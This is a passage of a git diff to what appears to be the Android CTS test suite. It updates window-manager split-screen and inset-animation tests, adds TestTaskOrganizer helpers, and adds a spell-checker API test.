         getDisplayAndWindowState(BOTTOM_RIGHT_LAYOUT_ACTIVITY, false);
 
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java
index 1fc975b..9d5b95c 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java
@@ -18,11 +18,11 @@
 
 import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
 import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
-import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
-import static android.server.wm.WindowManagerState.STATE_RESUMED;
-import static android.server.wm.WindowManagerState.STATE_STOPPED;
+import static android.app.WindowConfiguration.WINDOWING_MODE_MULTI_WINDOW;
 import static android.server.wm.ComponentNameUtils.getWindowName;
 import static android.server.wm.StateLogger.logE;
+import static android.server.wm.WindowManagerState.STATE_RESUMED;
+import static android.server.wm.WindowManagerState.STATE_STOPPED;
 import static android.server.wm.WindowManagerState.TRANSIT_TASK_CLOSE;
 import static android.server.wm.WindowManagerState.TRANSIT_TASK_OPEN;
 import static android.server.wm.app.Components.BOTTOM_ACTIVITY;
@@ -49,11 +49,11 @@
 import static org.junit.Assume.assumeTrue;
 
 import android.platform.test.annotations.Presubmit;
-import android.server.wm.WindowManagerState.DisplayContent;
-import android.server.wm.WindowManagerState.ActivityTask;
 import android.server.wm.CommandSession.ActivityCallback;
 import android.server.wm.CommandSession.ActivitySession;
 import android.server.wm.CommandSession.SizeInfo;
+import android.server.wm.WindowManagerState.ActivityTask;
+import android.server.wm.WindowManagerState.DisplayContent;
 
 import org.junit.Before;
 import org.junit.Test;
@@ -405,13 +405,13 @@
         assumeTrue(supportsSplitScreenMultiWindow());
 
         // Start launching activity into docked stack.
-        launchActivitiesInLegacySplitScreen(
+        launchActivitiesInSplitScreen(
                 getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
                 getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
         mWmState.assertVisibility(LAUNCHING_ACTIVITY, true /* visible */);
 
         tryCreatingAndRemovingDisplayWithActivity(true /* splitScreen */,
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
+                WINDOWING_MODE_MULTI_WINDOW);
     }
 
     /**
@@ -424,13 +424,13 @@
         assumeTrue(supportsSplitScreenMultiWindow());
 
         // Setup split-screen.
-        launchActivitiesInLegacySplitScreen(
+        launchActivitiesInSplitScreen(
                 getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY),
                 getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY));
         mWmState.assertVisibility(LAUNCHING_ACTIVITY, true /* visible */);
 
         tryCreatingAndRemovingDisplayWithActivity(true /* splitScreen */,
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
+                WINDOWING_MODE_MULTI_WINDOW);
     }
 
     /**
@@ -464,6 +464,9 @@
                     .createDisplay();
             if (splitScreen) {
                 mWmState.assertVisibility(LAUNCHING_ACTIVITY, true /* visible */);
+                // Set the secondary split root task as launch root to verify remaining tasks will
+                // be reparented to matching launch root after removed the virtual display.
+                mTaskOrganizer.setLaunchRoot(mTaskOrganizer.getSecondarySplitTaskId());
             }
 
             // Launch activity on new secondary display.
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java
index d394031..1b0d933 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java
@@ -486,6 +486,9 @@
                         .setToSide(true)
                         .setTargetActivity(VIRTUAL_DISPLAY_ACTIVITY)
                         .execute();
+                final int secondaryTaskId =
+                        mWmState.getTaskByActivity(VIRTUAL_DISPLAY_ACTIVITY).mTaskId;
+                mTaskOrganizer.putTaskInSplitSecondary(secondaryTaskId);
             } else {
                 launchActivity(VIRTUAL_DISPLAY_ACTIVITY);
             }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java b/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
index 1b589f8..cb022df 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
@@ -1074,42 +1074,6 @@
     }
 
     @Test
-    public void testPinnedStackWithDockedStack() throws Exception {
-        assumeTrue(supportsSplitScreenMultiWindow());
-
-        launchActivity(PIP_ACTIVITY, extraString(EXTRA_ENTER_PIP, "true"));
-        waitForEnterPip(PIP_ACTIVITY);
-        launchActivitiesInLegacySplitScreen(
-                getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
-                getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY)
-                        .setRandomData(true)
-                        .setMultipleTask(false)
-        );
-        mWmState.assertVisibility(PIP_ACTIVITY, true);
-        mWmState.assertVisibility(LAUNCHING_ACTIVITY, true);
-        mWmState.assertVisibility(TEST_ACTIVITY, true);
-
-        // Launch the activities again to take focus and make sure nothing is hidden
-        launchActivitiesInLegacySplitScreen(
-                getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
-                getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY)
-                        .setRandomData(true)
-                        .setMultipleTask(false)
-        );
-        mWmState.assertVisibility(LAUNCHING_ACTIVITY, true);
-        mWmState.assertVisibility(TEST_ACTIVITY, true);
-
-        // Go to recents to make sure that fullscreen stack is invisible
-        // Some devices do not support recents or implement it differently (instead of using a
-        // separate stack id or as an activity), for those cases the visibility asserts will be
-        // ignored
-        if (pressAppSwitchButtonAndWaitForRecents()) {
-            mWmState.assertVisibility(LAUNCHING_ACTIVITY, true);
-            mWmState.assertVisibility(TEST_ACTIVITY, false);
-        }
-    }
-
-    @Test
     public void testLaunchTaskByComponentMatchMultipleTasks() throws Exception {
         // Launch a fullscreen activity which will launch a PiP activity in a new task with the same
         // affinity
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java
index 35b06ba..fb1b173 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java
@@ -57,6 +57,7 @@
 import android.view.WindowInsetsAnimation.Callback;
 import android.view.WindowInsetsAnimationControlListener;
 import android.view.WindowInsetsAnimationController;
+import android.view.WindowInsetsController.OnControllableInsetsChangedListener;
 import android.view.animation.AccelerateInterpolator;
 import android.view.animation.DecelerateInterpolator;
 import android.view.animation.Interpolator;
@@ -72,7 +73,6 @@
 
 import org.junit.After;
 import org.junit.Before;
-import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.ErrorCollector;
 import org.junit.runner.RunWith;
@@ -81,12 +81,14 @@
 import org.junit.runners.Parameterized.Parameters;
 
 import java.util.ArrayList;
+import java.util.Arrays;
 import java.util.HashSet;
 import java.util.List;
 import java.util.Locale;
 import java.util.Set;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
+import java.util.stream.Collectors;
 
 /**
  * Test whether {@link android.view.WindowInsetsController#controlWindowInsetsAnimation} properly
@@ -109,7 +111,6 @@
     List<VerifyingCallback> mCallbacks = new ArrayList<>();
     private boolean mLossOfControlExpected;
 
-    @Rule
     public LimitedErrorCollector mErrorCollector = new LimitedErrorCollector();
 
     /**
@@ -135,8 +136,7 @@
     }
 
     @Before
-    public void setUp() throws Exception {
-        super.setUp();
+    public void setUpWindowInsetsAnimationControllerTests() throws Throwable {
         final ImeEventStream mockImeEventStream;
         if (mType == ime()) {
             final Instrumentation instrumentation = getInstrumentation();
@@ -164,6 +164,7 @@
                     editorMatcher("onStartInput", mActivity.getEditTextMarker()),
                     TimeUnit.SECONDS.toMillis(10));
         }
+        awaitControl(mType);
     }
 
     @After
@@ -185,6 +186,7 @@
             mMockImeSession.close();
             mMockImeSession = null;
         }
+        mErrorCollector.verify();
     }
 
     private void assumeTestCompatibility() {
@@ -194,180 +196,236 @@
         }
     }
 
+    private void awaitControl(int type) throws Throwable {
+        CountDownLatch control = new CountDownLatch(1);
+        OnControllableInsetsChangedListener listener = (controller, controllableTypes) -> {
+            if ((controllableTypes & type) != 0)
+                control.countDown();
+        };
+        runOnUiThread(() -> mRootView.getWindowInsetsController()
+                .addOnControllableInsetsChangedListener(listener));
+        try {
+            if (!control.await(10, TimeUnit.SECONDS)) {
+                fail("Timeout waiting for control of " + type);
+            }
+        } finally {
+            runOnUiThread(() -> mRootView.getWindowInsetsController()
+                    .removeOnControllableInsetsChangedListener(listener)
+            );
+        }
+    }
+
+    private void retryIfCancelled(ThrowableThrowingRunnable test) throws Throwable {
+        try {
+            mErrorCollector.verify();
+            test.run();
+        } catch (CancelledWhileWaitingForReadyException e) {
+            // Deflake cancellations waiting for ready - we'll reset state and try again.
+            runOnUiThread(() -> {
+                mCallbacks.clear();
+                if (mRootView != null) {
+                    mRootView.setWindowInsetsAnimationCallback(null);
+                }
+            });
+            mErrorCollector = new LimitedErrorCollector();
+            mListener = new ControlListener(mErrorCollector);
+            awaitControl(mType);
+            test.run();
+        }
+    }
+
     @Presubmit
     @Test
     public void testControl_andCancel() throws Throwable {
-        runOnUiThread(() -> {
-            setupAnimationListener();
-            mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
-                    null, mCancellationSignal, mListener);
+        retryIfCancelled(() -> {
+            runOnUiThread(() -> {
+                setupAnimationListener();
+                mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
+                        null, mCancellationSignal, mListener);
+            });
+
+            mListener.awaitAndAssert(READY);
+
+            runOnUiThread(() -> {
+                mCancellationSignal.cancel();
+            });
+
+            mListener.awaitAndAssert(CANCELLED);
+            mListener.assertWasNotCalled(FINISHED);
         });
-
-        mListener.awaitAndAssert(READY);
-
-        runOnUiThread(() -> {
-            mCancellationSignal.cancel();
-        });
-
-        mListener.awaitAndAssert(CANCELLED);
-        mListener.assertWasNotCalled(FINISHED);
     }
 
     @Test
     public void testControl_andImmediatelyCancel() throws Throwable {
-        runOnUiThread(() -> {
-            setupAnimationListener();
-            mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
-                    null, mCancellationSignal, mListener);
-            mCancellationSignal.cancel();
-        });
+        retryIfCancelled(() -> {
+            runOnUiThread(() -> {
+                setupAnimationListener();
+                mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
+                        null, mCancellationSignal, mListener);
+                mCancellationSignal.cancel();
+            });
 
-        mListener.assertWasCalled(CANCELLED);
-        mListener.assertWasNotCalled(READY);
-        mListener.assertWasNotCalled(FINISHED);
+            mListener.assertWasCalled(CANCELLED);
+            mListener.assertWasNotCalled(READY);
+            mListener.assertWasNotCalled(FINISHED);
+        });
     }
 
     @Presubmit
     @Test
     public void testControl_immediately_show() throws Throwable {
-        setVisibilityAndWait(mType, false);
+        retryIfCancelled(() -> {
+            setVisibilityAndWait(mType, false);
 
-        runOnUiThread(() -> {
-            setupAnimationListener();
-            mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
-                    null, null, mListener);
+            runOnUiThread(() -> {
+                setupAnimationListener();
+                mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
+                        null, null, mListener);
+            });
+
+            mListener.awaitAndAssert(READY);
+
+            runOnUiThread(() -> {
+                mListener.mController.finish(true);
+            });
+
+            mListener.awaitAndAssert(FINISHED);
+            mListener.assertWasNotCalled(CANCELLED);
         });
-
-        mListener.awaitAndAssert(READY);
-
-        runOnUiThread(() -> {
-            mListener.mController.finish(true);
-        });
-
-        mListener.awaitAndAssert(FINISHED);
-        mListener.assertWasNotCalled(CANCELLED);
     }
 
     @Presubmit
     @Test
     public void testControl_immediately_hide() throws Throwable {
-        setVisibilityAndWait(mType, true);
+        retryIfCancelled(() -> {
+            setVisibilityAndWait(mType, true);
 
-        runOnUiThread(() -> {
-            setupAnimationListener();
-            mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
-                    null, null, mListener);
+            runOnUiThread(() -> {
+                setupAnimationListener();
+                mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
+                        null, null, mListener);
+            });
+
+            mListener.awaitAndAssert(READY);
+
+            runOnUiThread(() -> {
+                mListener.mController.finish(false);
+            });
+
+            mListener.awaitAndAssert(FINISHED);
+            mListener.assertWasNotCalled(CANCELLED);
         });
-
-        mListener.awaitAndAssert(READY);
-
-        runOnUiThread(() -> {
-            mListener.mController.finish(false);
-        });
-
-        mListener.awaitAndAssert(FINISHED);
-        mListener.assertWasNotCalled(CANCELLED);
     }
 
     @Presubmit
     @Test
     public void testControl_transition_show() throws Throwable {
-        setVisibilityAndWait(mType, false);
+        retryIfCancelled(() -> {
+            setVisibilityAndWait(mType, false);
 
-        runOnUiThread(() -> {
-            setupAnimationListener();
-            mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
-                    null, null, mListener);
+            runOnUiThread(() -> {
+                setupAnimationListener();
+                mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
+                        null, null, mListener);
+            });
+
+            mListener.awaitAndAssert(READY);
+
+            runTransition(true);
+
+            mListener.awaitAndAssert(FINISHED);
+            mListener.assertWasNotCalled(CANCELLED);
         });
-
-        mListener.awaitAndAssert(READY);
-
-        runTransition(true);
-
-        mListener.awaitAndAssert(FINISHED);
-        mListener.assertWasNotCalled(CANCELLED);
     }
 
     @Presubmit
     @Test
     public void testControl_transition_hide() throws Throwable {
-        setVisibilityAndWait(mType, true);
+        retryIfCancelled(() -> {
+            setVisibilityAndWait(mType, true);
 
-        runOnUiThread(() -> {
-            setupAnimationListener();
-            mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
-                    null, null, mListener);
+            runOnUiThread(() -> {
+                setupAnimationListener();
+                mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
+                        null, null, mListener);
+            });
+
+            mListener.awaitAndAssert(READY);
+
+            runTransition(false);
+
+            mListener.awaitAndAssert(FINISHED);
+            mListener.assertWasNotCalled(CANCELLED);
         });
-
-        mListener.awaitAndAssert(READY);
-
-        runTransition(false);
-
-        mListener.awaitAndAssert(FINISHED);
-        mListener.assertWasNotCalled(CANCELLED);
     }
 
     @Presubmit
     @Test
     public void testControl_transition_show_interpolator() throws Throwable {
-        mInterpolator = new DecelerateInterpolator();
-        setVisibilityAndWait(mType, false);
+        retryIfCancelled(() -> {
+            mInterpolator = new DecelerateInterpolator();
+            setVisibilityAndWait(mType, false);
 
-        runOnUiThread(() -> {
-            setupAnimationListener();
-            mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
-                    mInterpolator, null, mListener);
+            runOnUiThread(() -> {
+                setupAnimationListener();
+                mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
+                        mInterpolator, null, mListener);
+            });
+
+            mListener.awaitAndAssert(READY);
+
+            runTransition(true);
+
+            mListener.awaitAndAssert(FINISHED);
+            mListener.assertWasNotCalled(CANCELLED);
         });
-
-        mListener.awaitAndAssert(READY);
-
-        runTransition(true);
-
-        mListener.awaitAndAssert(FINISHED);
-        mListener.assertWasNotCalled(CANCELLED);
     }
 
     @Presubmit
     @Test
     public void testControl_transition_hide_interpolator() throws Throwable {
-        mInterpolator = new AccelerateInterpolator();
-        setVisibilityAndWait(mType, true);
+        retryIfCancelled(() -> {
+            mInterpolator = new AccelerateInterpolator();
+            setVisibilityAndWait(mType, true);
 
-        runOnUiThread(() -> {
-            setupAnimationListener();
-            mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
-                    mInterpolator, null, mListener);
+            runOnUiThread(() -> {
+                setupAnimationListener();
+                mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
+                        mInterpolator, null, mListener);
+            });
+
+            mListener.awaitAndAssert(READY);
+
+            runTransition(false);
+
+            mListener.awaitAndAssert(FINISHED);
+            mListener.assertWasNotCalled(CANCELLED);
         });
-
-        mListener.awaitAndAssert(READY);
-
-        runTransition(false);
-
-        mListener.awaitAndAssert(FINISHED);
-        mListener.assertWasNotCalled(CANCELLED);
     }
 
     @Test
     public void testControl_andLoseControl() throws Throwable {
-        mInterpolator = new AccelerateInterpolator();
-        setVisibilityAndWait(mType, true);
+        retryIfCancelled(() -> {
+            mInterpolator = new AccelerateInterpolator();
+            setVisibilityAndWait(mType, true);
 
-        runOnUiThread(() -> {
-            setupAnimationListener();
-            mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
-                    mInterpolator, null, mListener);
+            runOnUiThread(() -> {
+                setupAnimationListener();
+                mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
+                        mInterpolator, null, mListener);
+            });
+
+            mListener.awaitAndAssert(READY);
+
+            runTransition(false, TimeUnit.MINUTES.toMillis(5));
+            runOnUiThread(() -> {
+                mLossOfControlExpected = true;
+            });
+            launchHomeActivityNoWait();
+
+            mListener.awaitAndAssert(CANCELLED);
+            mListener.assertWasNotCalled(FINISHED);
         });
-
-        mListener.awaitAndAssert(READY);
-
-        runTransition(false, TimeUnit.MINUTES.toMillis(5));
-        runOnUiThread(() -> {
-            mLossOfControlExpected = true;
-        });
-        launchHomeActivityNoWait();
-
-        mListener.awaitAndAssert(CANCELLED);
-        mListener.assertWasNotCalled(FINISHED);
     }
 
     @Presubmit
@@ -377,23 +435,26 @@
             return;
         }
 
-        setVisibilityAndWait(mType, false);
+        retryIfCancelled(() -> {
+            setVisibilityAndWait(mType, false);
 
-        runOnUiThread(() -> {
-            setupAnimationListener();
-            mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
-                    null, null, mListener);
+            runOnUiThread(() -> {
+                setupAnimationListener();
+                mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
+                        null, null, mListener);
+            });
+
+            mListener.awaitAndAssert(READY);
+
+            runTransition(true);
+            runOnUiThread(() -> {
+                mActivity.getSystemService(InputMethodManager.class).restartInput(
+                        mActivity.mEditor);
+            });
+
+            mListener.awaitAndAssert(FINISHED);
+            mListener.assertWasNotCalled(CANCELLED);
         });
-
-        mListener.awaitAndAssert(READY);
-
-        runTransition(true);
-        runOnUiThread(() -> {
-            mActivity.getSystemService(InputMethodManager.class).restartInput(mActivity.mEditor);
-        });
-
-        mListener.awaitAndAssert(FINISHED);
-        mListener.assertWasNotCalled(CANCELLED);
     }
 
     private void setupAnimationListener() {
@@ -514,6 +575,7 @@
 
         WindowInsetsAnimationController mController = null;
         int mTypes = -1;
+        RuntimeException mCancelledStack = null;
 
         ControlListener(ErrorCollector errorCollector) {
             mErrorCollector = errorCollector;
@@ -562,6 +624,7 @@
                 mErrorCollector.checkThat("isFinished", controller.isFinished(), is(false));
                 mErrorCollector.checkThat("isCancelled", controller.isCancelled(), is(true));
             }
+            mCancelledStack = new RuntimeException("onCancelled called here");
             report(CANCELLED);
         }
 
@@ -575,7 +638,12 @@
             CountDownLatch latch = mLatches[event.ordinal()];
             try {
                 if (!latch.await(10, TimeUnit.SECONDS)) {
-                    fail("Timeout waiting for " + event);
+                    if (event == READY && mCancelledStack != null) {
+                        throw new CancelledWhileWaitingForReadyException(
+                                "expected " + event + " but instead got " + CANCELLED,
+                                mCancelledStack);
+                    }
+                    fail("Timeout waiting for " + event + "; reported events: " + reportedEvents());
                 }
             } catch (InterruptedException e) {
                 throw new AssertionError("Interrupted", e);
@@ -584,12 +652,21 @@
 
         void assertWasCalled(Event event) {
             CountDownLatch latch = mLatches[event.ordinal()];
-            assertEquals(event + " expected, but never called", 0, latch.getCount());
+            assertEquals(event + " expected, but never called; called: " + reportedEvents(),
+                    0, latch.getCount());
         }
 
         void assertWasNotCalled(Event event) {
             CountDownLatch latch = mLatches[event.ordinal()];
-            assertEquals(event + " not expected, but was called", 1, latch.getCount());
+            assertEquals(event + " not expected, but was called; called: " + reportedEvents(),
+                    1, latch.getCount());
+        }
+
+        String reportedEvents() {
+            return Arrays.stream(Event.values())
+                    .filter((e) -> mLatches[e.ordinal()].getCount() == 0)
+                    .map(Enum::toString)
+                    .collect(Collectors.joining(",", "<", ">"));
         }
     }
 
@@ -649,6 +726,7 @@
 
     public static final class LimitedErrorCollector extends ErrorCollector {
         private static final int LIMIT = 1;
+        private static final boolean REPORT_SUPPRESSED_ERRORS = false;
         private int mCount = 0;
 
         @Override
@@ -660,10 +738,20 @@
 
         @Override
         protected void verify() throws Throwable {
-            if (mCount > LIMIT) {
-                super.addError(new AssertionError((mCount - LIMIT) + " errors skipped."));
+            if (mCount > LIMIT && REPORT_SUPPRESSED_ERRORS) {
+                super.addError(new AssertionError((mCount - LIMIT) + " errors suppressed."));
             }
             super.verify();
         }
     }
+
+    private interface ThrowableThrowingRunnable {
+        void run() throws Throwable;
+    }
+
+    private static class CancelledWhileWaitingForReadyException extends AssertionError {
+        public CancelledWhileWaitingForReadyException(String message, Throwable cause) {
+            super(message, cause);
+        }
+    };
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleSplitScreenTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleLegacySplitScreenTests.java
similarity index 99%
rename from tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleSplitScreenTests.java
rename to tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleLegacySplitScreenTests.java
index ffb4c04..f0bd3f8 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleSplitScreenTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleLegacySplitScreenTests.java
@@ -62,7 +62,7 @@
 @MediumTest
 @Presubmit
 @android.server.wm.annotation.Group3
-public class ActivityLifecycleSplitScreenTests extends ActivityLifecycleClientTestBase {
+public class ActivityLifecycleLegacySplitScreenTests extends ActivityLifecycleClientTestBase {
 
     @Before
     public void setUp() throws Exception {
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/TestTaskOrganizer.java b/tests/framework/base/windowmanager/util/src/android/server/wm/TestTaskOrganizer.java
index bb15980..a5d2cf8 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/TestTaskOrganizer.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/TestTaskOrganizer.java
@@ -16,6 +16,11 @@
 
 package android.server.wm;
 
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_HOME;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_RECENTS;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_UNDEFINED;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
 import static android.app.WindowConfiguration.WINDOWING_MODE_MULTI_WINDOW;
 import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
 import static android.view.Display.DEFAULT_DISPLAY;
@@ -32,13 +37,13 @@
 import android.view.WindowManager;
 import android.window.TaskAppearedInfo;
 import android.window.TaskOrganizer;
+import android.window.WindowContainerToken;
 import android.window.WindowContainerTransaction;
 
 import androidx.annotation.NonNull;
 
 import org.junit.Assert;
 
-import java.util.ArrayList;
 import java.util.HashMap;
 import java.util.List;
 import java.util.concurrent.TimeUnit;
@@ -59,6 +64,18 @@
     private final Rect mPrimaryBounds = new Rect();
     private final Rect mSecondaryBounds = new Rect();
 
+    private static final int[] CONTROLLED_ACTIVITY_TYPES = {
+            ACTIVITY_TYPE_STANDARD,
+            ACTIVITY_TYPE_HOME,
+            ACTIVITY_TYPE_RECENTS,
+            ACTIVITY_TYPE_UNDEFINED
+    };
+    private static final int[] CONTROLLED_WINDOWING_MODES = {
+            WINDOWING_MODE_FULLSCREEN,
+            WINDOWING_MODE_MULTI_WINDOW,
+            WINDOWING_MODE_UNDEFINED
+    };
+
     TestTaskOrganizer(Context displayContext) {
         super();
         Rect bounds = displayContext.getSystemService(WindowManager.class)
@@ -196,29 +213,59 @@
         });
     }
 
+    void setLaunchRoot(int taskId) {
+        NestedShellPermission.run(() -> {
+            synchronized (this) {
+                final WindowContainerTransaction t = new WindowContainerTransaction()
+                        .setLaunchRoot(mKnownTasks.get(taskId).getToken(),
+                                CONTROLLED_WINDOWING_MODES, CONTROLLED_ACTIVITY_TYPES);
+                applyTransaction(t);
+            }
+        });
+    }
+
     void dismissedSplitScreen() {
         synchronized (this) {
             NestedShellPermission.run(() -> {
-                // Re-parent everything back to the display from the splits so that things are as they were.
-                final List<ActivityManager.RunningTaskInfo> children = new ArrayList<>();
-                final List<ActivityManager.RunningTaskInfo> primaryChildren =
-                        getChildTasks(mRootPrimary.getToken(), null /* activityTypes */);
-                if (primaryChildren != null && !primaryChildren.isEmpty()) {
-                    children.addAll(primaryChildren);
-                }
-                final List<ActivityManager.RunningTaskInfo> secondaryChildren =
-                        getChildTasks(mRootSecondary.getToken(), null /* activityTypes */);
-                if (secondaryChildren != null && !secondaryChildren.isEmpty()) {
-                    children.addAll(secondaryChildren);
-                }
-                if (children.isEmpty()) {
-                    return;
-                }
+                final WindowContainerTransaction t = new WindowContainerTransaction()
+                        .setLaunchRoot(
+                                mRootPrimary.getToken(),
+                                null,
+                                null)
+                        .setLaunchRoot(
+                                mRootSecondary.getToken(),
+                                null,
+                                null)
+                        .reparentTasks(
+                                mRootPrimary.getToken(),
+                                null /* newParent */,
+                                CONTROLLED_WINDOWING_MODES,
+                                CONTROLLED_ACTIVITY_TYPES,
+                                true /* onTop */)
+                        .reparentTasks(
+                                mRootSecondary.getToken(),
+                                null /* newParent */,
+                                CONTROLLED_WINDOWING_MODES,
+                                CONTROLLED_ACTIVITY_TYPES,
+                                true /* onTop */);
+                applyTransaction(t);
+            });
+        }
+    }
 
-                final WindowContainerTransaction t = new WindowContainerTransaction();
-                for (ActivityManager.RunningTaskInfo task : children) {
-                    t.reparent(task.getToken(), null /* parent */, true /* onTop */);
-                }
+    void setRootPrimaryTaskBounds(Rect bounds) {
+        setTaskBounds(mRootPrimary.getToken(), bounds);
+    }
+
+    void setRootSecondaryTaskBounds(Rect bounds) {
+        setTaskBounds(mRootSecondary.getToken(), bounds);
+    }
+
+    private void setTaskBounds(WindowContainerToken container, Rect bounds) {
+        synchronized (this) {
+            NestedShellPermission.run(() -> {
+                final WindowContainerTransaction t = new WindowContainerTransaction()
+                        .setBounds(container, bounds);
                 applyTransaction(t);
             });
         }
diff --git a/tests/inputmethod/mockspellchecker/res/xml/spellchecker.xml b/tests/inputmethod/mockspellchecker/res/xml/spellchecker.xml
index 8820f29..18f96ada 100644
--- a/tests/inputmethod/mockspellchecker/res/xml/spellchecker.xml
+++ b/tests/inputmethod/mockspellchecker/res/xml/spellchecker.xml
@@ -20,5 +20,6 @@
     <subtype
         android:label="English"
         android:subtypeLocale="en"
+        android:languageTag="en-US"
     />
 </spell-checker>
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/SpellCheckerTest.kt b/tests/inputmethod/src/android/view/inputmethod/cts/SpellCheckerTest.kt
index 15ece3d..b5ca08ad 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/SpellCheckerTest.kt
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/SpellCheckerTest.kt
@@ -223,6 +223,29 @@
         }
     }
 
+    @Test
+    fun textServicesManagerApi() {
+        val tsm = context.getSystemService(TextServicesManager::class.java)!!
+        assertThat(tsm).isNotNull()
+        assertThat(tsm!!.isSpellCheckerEnabled()).isTrue()
+        val spellCheckerInfo = tsm.getCurrentSpellChecker()
+        assertThat(spellCheckerInfo).isNotNull()
+        assertThat(spellCheckerInfo!!.getPackageName()).isEqualTo(
+            "com.android.cts.mockspellchecker")
+        assertThat(spellCheckerInfo!!.getSubtypeCount()).isEqualTo(1)
+        val spellCheckerSubtypeAllowImplicitlySelected = tsm.getCurrentSpellCheckerSubtype(true)
+        assertThat(spellCheckerSubtypeAllowImplicitlySelected).isNotNull()
+        assertThat(spellCheckerSubtypeAllowImplicitlySelected!!.getLanguageTag()).isEqualTo("en-US")
+        assertThat(spellCheckerSubtypeAllowImplicitlySelected!!.getLocale()).isEqualTo("en")
+        assertThat(spellCheckerSubtypeAllowImplicitlySelected!!.getExtraValue()).isEmpty()
+        val spellCheckerSubtypeNotAllowImplicitlySelected =
+            tsm.getCurrentSpellCheckerSubtype(false)
+        assertThat(spellCheckerSubtypeNotAllowImplicitlySelected).isNull()
+        assertThat(tsm.getEnabledSpellCheckersList()!!.size).isAtLeast(1)
+        assertThat(tsm.getEnabledSpellCheckersList()!!.map { it.getPackageName() })
+                        .contains("com.android.cts.mockspellchecker")
+    }
+
     private fun findSuggestionSpanWithFlags(editText: EditText, flags: Int): SuggestionSpan? =
             getSuggestionSpans(editText).find { (it.flags and flags) == flags }
 
diff --git a/tests/location/common/src/android/location/cts/common/TestMeasurementUtil.java b/tests/location/common/src/android/location/cts/common/TestMeasurementUtil.java
index 0a09c23..7c5afae 100644
--- a/tests/location/common/src/android/location/cts/common/TestMeasurementUtil.java
+++ b/tests/location/common/src/android/location/cts/common/TestMeasurementUtil.java
@@ -16,18 +16,23 @@
 
 package android.location.cts.common;
 
+import static org.junit.Assert.assertNotNull;
+
 import android.content.Context;
